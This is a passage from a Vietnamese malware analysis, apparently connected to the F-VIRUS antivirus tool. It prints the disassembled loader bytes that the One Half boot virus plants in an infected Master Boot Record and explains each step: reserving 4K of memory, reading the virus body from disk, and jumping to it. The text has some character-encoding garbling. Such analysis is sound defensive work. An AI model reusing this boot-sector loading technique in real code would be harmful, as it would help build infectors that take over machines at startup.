V. Các đặc điểm của F-VIRUS
3. M∙ Assembly của phần đầu virus One Half trong Master Boot bị nhiễm.
Boot bị nhiễm càng giống Master Boot chuẩn thì càng tốt, nghĩa là đoạn mã của virus đặt ở đây càng nhỏ càng tốt. Hai Master Boot trên khác nhau ở đoạn mã đầu tiên gồm 2Bh byte (từ offset 0h đến offset 2Ah). Dùng Debug hoặc một phần mềm Unassembler (trong quá trình khảo sát, tôi đã dùng phần mềm Source.exe) để dịch ng−ợc ra Assembler đoạn mã này.
3. M∙ Assembly của phần đầu virus One Half trong Master Boot bị nhiễm. nhiễm.
Sau đây là dịch ng−ợc của đoạn mã đó: (các số đ−ợc biểu diễn d−ới dạng hexa)
00: 33 DB xor bx,bx 02: FA cli
03: BC 7C 00 mov sp,7C00h 06: 8E D3 mov ss,bx
08: FB sti 09: 8E DB mov ds,bx 0B: 83 2E 0413 04 sub word ptr [0413h],4h 10: B1 06 mov cl,6h 12: CD 12 int 12h 14: D3 E0 shl ax,cl 16: BA 00 80 mov dx,80h 19: 8E C0 mov es,ax 1B: B9 00 22 mov cx,22h 1E: B8 02 07 mov ax,0207h 21: 06 push es
22: CD 13 int 13h 24: B8 00 D3 mov ax,0D3h 27: 50 push ax
28: CB retf
Nh− vậy, chúng ta thấy phần đầu của One Half làm những công việc chính sau đây:
- Đặt stack làm việc cho virus tại 0:7C00h
- Giảm dung l−ợng bộ nhớ do DOS quản lý đi 4K, đặt địa chỉ đoạn của phần vùng nhớ này (9F00h) vào cho thanh ghi ES và đẩy vào stack, chuẩn bị địa chỉ segment cho lệnh nhảy xa.
- Đọc 7 sector trên side 0, Cylinder 0, từ sector 22h đến sector 28h vào địa chỉ 9F00h:0000h (ES:BX).
- Đẩy giá trị 0D3h vào stack chuẩn bị địa chỉ offset cho lệnh nhảy xa. - Nhảy xa tới 9F00h:00D3h.